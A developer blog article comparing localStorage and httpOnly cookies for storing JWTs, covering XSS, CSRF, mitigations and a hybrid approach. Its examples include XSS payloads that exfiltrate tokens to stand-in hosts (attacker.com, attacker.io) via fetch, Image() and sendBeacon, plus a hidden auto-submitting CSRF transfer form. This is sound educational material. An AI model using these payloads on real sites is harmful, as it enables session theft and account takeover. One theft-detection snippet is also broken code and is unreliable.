Is It Safe to Store JWT in localStorage? The Full Security Analysis
Every few months, a security thread goes viral on Hacker News or Reddit: "Stop storing JWTs in localStorage!" The comments fill up with developers arguing about XSS, CSRF, httpOnly cookies, and whether any of it actually matters for their specific application.
Both sides have valid points. localStorage is trivially readable by any JavaScript running on your page. But httpOnly cookies have their own problems: CSRF vulnerability, size limits, cross-origin sharing headaches, and mobile compatibility issues.
This article skips the dogma and gives you a practical analysis. I will show you exactly how localStorage gets compromised, what the real risk is, and how to decide whether it is acceptable for your application.
How localStorage Gets Compromised
The threat model is simple: if an attacker can execute arbitrary JavaScript on your page, they can read localStorage.getItem('auth_token').
Here are the most common ways that happens:
XSS via User Input
// Vulnerable React component
function UserProfile({ user }) {
return (
<div>
<h1>Welcome, {user.name}</h1> {/* XSS if user.name contains <script> */}
</div>
);
}
// If user.name = "<script>fetch('https://attacker.com/steal?token=' + localStorage.getItem('auth_token'))</script>"
// Modern React escapes by default, but dangerouslySetInnerHTML or
// server-rendered HTML does not
XSS via Third-Party Scripts
This is the scarier vector because you do not control the code:
<!-- A compromised CDN script -->
<script src="https://cdn.analytics-provider.com/tracker.js"></script>
<!-- An npm package with a hidden payload -->
<!-- npm install malicious-package -->
<!-- A browser extension -->
<!-- The "Grammarly" or "LastPass" extension has access to all page content -->
A compromised third-party script has full access to the DOM, including localStorage. It can silently exfiltrate every token.
XSS via Developer Tools
This one requires physical or remote access to the user's machine, but it is worth mentioning:
// User opens DevTools and types:
localStorage.getItem('auth_token');
// Token is now visible in the console
This is usually considered out of scope for application security (if an attacker has access to the user's machine, the game is over anyway). But it is a data point: localStorage tokens are trivially extractable by anyone who can open DevTools.
Supply Chain Attack
This is the nightmare scenario. A popular npm package gets compromised. Every site using that package — and every site using a package that depends on it — is now running the attacker's code. The injected script scrapes localStorage and sends tokens to the attacker's server.
This happened with event-stream (2018), ua-parser-js (2021), and dozens of other packages. If your JWT is in localStorage, every one of those attacks could extract it.
The XSS Exploit Demo
Here is exactly how an attacker would extract a JWT from localStorage:
// Stealth script injected via XSS
(function() {
const token = localStorage.getItem('auth_token');
if (!token) return;
// Decode it to get user info
const payload = JSON.parse(atob(token.split('.')[1]));
// Exfiltrate to attacker's server
const img = new Image();
img.src = `https://attacker.io/collect?token=${encodeURIComponent(token)}&user=${payload.sub}`;
// Or use beacon API (more reliable)
navigator.sendBeacon(
'https://attacker.io/api/collect',
JSON.stringify({ token, user: payload.sub })
);
})();
The Image() trick is notably stealthy: it does not trigger CORS, it does not appear in the Network tab as a fetch/XHR request, and it works even if the user has ad blockers. The attacker gets the token, decodes it, and has everything they need to impersonate the user.
What httpOnly Cookies Actually Protect
An httpOnly cookie cannot be read by JavaScript:
// This returns empty if the token is in an httpOnly cookie
console.log(document.cookie); // ""
This means the XSS exfiltration attack above fails — the injected script cannot access the token value.
But httpOnly does not prevent the script from making requests that include the cookie:
// The attacker's script can still make authenticated requests
fetch('https://api.yourdomain.com/users/transactions', {
credentials: 'include', // Cookie is sent automatically
})
.then(r => r.json())
.then(data => fetch('https://attacker.io/exfiltrate', { method: 'POST', body: JSON.stringify(data) }));
The attacker uses the user's active session (via the cookie) to fetch data and exfiltrate it. They do not need to see the token — they only need to use it.
The User Experience Difference
-
localStorage: The attacker steals the token. They can use it from any machine, any IP, any browser, until the token expires. If the token has a 24-hour lifetime, they have 24 hours of access even after the user closes the browser.
-
httpOnly cookie: The attacker can only make requests from the compromised page while it is open. When the user navigates away or closes the tab, the attack session ends. The token was never exfiltrated.
This distinction matters. localStorage theft gives the attacker persistent, off-device access. httpOnly cookie theft requires the attacker to maintain access to the compromised page in real time.
CSRF Tradeoff
The main downside of httpOnly cookies is CSRF (Cross-Site Request Forgery). Because cookies are automatically sent with requests, an attacker can trick the user's browser into making authenticated requests to your API.
<!-- Attacker's site -->
<form action="https://bank.example.com/api/transfer" method="POST" style="display:none">
<input name="to" value="attacker" />
<input name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>
If the user has an httpOnly cookie for bank.example.com, the browser sends it with this form submission. The server sees a valid authentication cookie and processes the transfer.
CSRF Mitigations Are Effective
Modern CSRF protections make this attack difficult:
-
SameSite=Strict cookies block CSRF entirely for most applications. The cookie is not sent on cross-origin requests.
-
Custom headers (like
X-Requested-WithorAuthorization) are not sent by HTML form submissions. Requiring a specific header blocks CSRF. -
CSRF tokens embedded in the page and verified by the server provide defense in depth.
localStorage tokens do not have CSRF vulnerability because they are not automatically sent. The client must explicitly attach the token to each request via the Authorization header. A form submission from another domain cannot read localStorage or include the token.
When localStorage Is Acceptable
Despite the risks, localStorage is not always the wrong choice. Here are scenarios where the convenience and simplicity of localStorage outweigh the security concerns.
Low-Risk Applications
If your application handles no sensitive data — a to-do list, a note-taking app, a public dashboard — localStorage is fine. The damage from token theft is minimal: an attacker can read the user's notes, not their financial data.
Applications With No XSS Surface
This is rare but possible. If your application has:
- No user-generated content rendered on the page
- No third-party scripts (analytics, widgets, chat)
- No iframes
- Strict CSP (Content Security Policy) that blocks inline scripts
Then your XSS surface is near zero. localStorage is acceptable.
Internal Tools on Controlled Browsers
If your team uses managed browsers with no extensions and no access to untrusted sites, the localStorage risk is minimal. The same applies to kiosk-mode applications.
Prototypes and MVPs
Speed matters in early-stage products. localStorage is the simplest storage mechanism for JWTs in a browser. Use it for your MVP, but have a plan to migrate to httpOnly cookies before launch or before handling real user data. Just remember that JWTs are signed, not encrypted — see JWT Is Not Encryption: Common Developer Misconceptions for why this distinction matters for security.
The Hybrid Approach (Best of Both)
For most production applications, I recommend neither pure localStorage nor pure cookies. Instead, use a hybrid:
| Token | Storage | Why |
|---|---|---|
| Access token (15 min) | JavaScript variable (memory) | Disappears on refresh/navigate. Not in localStorage or cookies. |
| Refresh token (30 days) | httpOnly, Secure, SameSite=Strict cookie | Not readable by JS. Rotated on each use. |
See Where to Store JWT in Browser for the complete implementation.
This approach:
- Prevents token exfiltration (no token in localStorage to steal).
- Prevents persistent off-device access (attacker must use session in real time).
- Prevents CSRF (access token is not a cookie).
- Survives page refresh (refresh cookie restores the session).
- Does not rely on localStorage at all.
Security Checklist for localStorage
If you must use localStorage, follow these mitigations to reduce risk:
1. Short Token Expiration
const token = jwt.sign({ sub: userId }, SECRET, { expiresIn: '5m' }); // 5 minutes, not hours
A short expiration limits the window of damage. If the token is stolen, it is useless within minutes.
2. Content Security Policy (CSP)
CSP restricts which scripts can execute on your page. A strict CSP blocks most XSS attacks:
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self';
connect-src 'self';
base-uri 'self';
form-action 'self';
">
CSP is not a silver bullet — it is hard to get right in complex applications, and browser extensions often bypass it — but it raises the bar significantly.
3. Clear Token on Tab Blur
// Clear access token when the user navigates away
document.addEventListener('visibilitychange', () => {
if (document.hidden) {
sessionStorage.removeItem('auth_token'); // Or clear memory variable
}
});
This limits window: if the user switches tabs, the token is cleared. It does not help against XSS that executes immediately.
4. Detect and Respond to Token Theft
// Store a token fingerprint
const tokenHash = await sha256(token);
localStorage.setItem('token_hash', tokenHash);
// Periodically check if the token matches what we stored
setInterval(() => {
const currentToken = localStorage.getItem('auth_token');
const currentHash = await sha256(currentToken);
if (currentHash !== tokenHash) {
// Token was modified or swapped — possible attack
logout();
}
}, 5000);
This detects if an injected script modifies or replaces the token. It does not prevent the initial theft.
5. Avoid localStorage Entirely on High-Security Pages
For sensitive operations — password changes, money transfers, viewing PII — do not rely on the token in localStorage. Require re-authentication with a password, biometric, or TOTP.
Comparing Security Postures
| Configuration | XSS Theft | XSS Usage | CSRF | Persistence |
|---|---|---|---|---|
| localStorage, no expiration | Critical | Critical | None | Token lives until cleared |
| localStorage, 5min expiration | High | High | None | 5 minute window |
| httpOnly cookie, no SameSite | None | Medium | High | Session length |
| httpOnly cookie, SameSite=Strict | None | Medium | Low | Session length |
| Hybrid (memory + httpOnly refresh) | None | Medium | Low | Survives refresh |
| Hybrid + short access token | None | Low | Low | 15 minute window |
FAQ
Is localStorage safe for JWT storage?
It depends on your threat model. localStorage is accessible to any JavaScript on the same origin, including XSS attacks. If your application handles sensitive data or has any XSS surface (user input, third-party scripts), localStorage is not safe. Use httpOnly cookies instead.
Can an XSS attack steal a JWT from localStorage?
Yes. An injected script can read localStorage.getItem('auth_token') and send it to an attacker's server using fetch(), navigator.sendBeacon(), or an Image() request. The theft is silent and immediate.
Does httpOnly prevent all XSS token attacks?
No. httpOnly prevents the script from reading the token value, but the script can still make authenticated requests using the cookie. The attacker can use the session but cannot steal the token for persistent off-device use.
Should I use localStorage or cookies for JWTs?
For sensitive applications: use httpOnly cookies (with SameSite=Strict) or a hybrid approach (access token in memory, refresh token in httpOnly cookie). For low-risk applications, localStorage is simpler and may be acceptable.
Does CSP protect JWT in localStorage?
CSP can block many XSS attack vectors, which reduces the risk of token theft. But CSP is not a complete solution — it is hard to configure correctly, browser extensions often bypass it, and it does not protect against supply chain attacks on first-party scripts.
What is the safest way to store JWTs in a browser?
The safest approach is the hybrid model: store the access token in a JavaScript variable (memory) and the refresh token in an httpOnly, Secure, SameSite=Strict cookie. The access token cannot be exfiltrated (not in storage), and the refresh token cannot be read by JavaScript.
Can I use both localStorage and cookies?
You can, but it adds complexity without clear benefits. Pick one primary storage for your access token and use httpOnly cookies for refresh tokens if needed.
The Bottom Line
Storing JWTs in localStorage is not inherently evil. It is the simplest approach and works for many applications. But you need to understand the risk: any XSS vulnerability — from a third-party widget, a compromised npm package, or unescaped user input — can silently exfiltrate every token.
The question is not "is localStorage safe for JWTs?" The question is "what is the worst that happens if an attacker steals a token from my users?" If the answer is "they lose some notes" or "they see a public dashboard," localStorage is fine. If the answer involves financial data, personal information, or account takeover, use httpOnly cookies or the hybrid approach.
When you are debugging token issues — regardless of where you store them — the JWT Decoder lets you inspect any token instantly. Paste the token, see the claims, check the expiration, and understand exactly what your auth system is doing.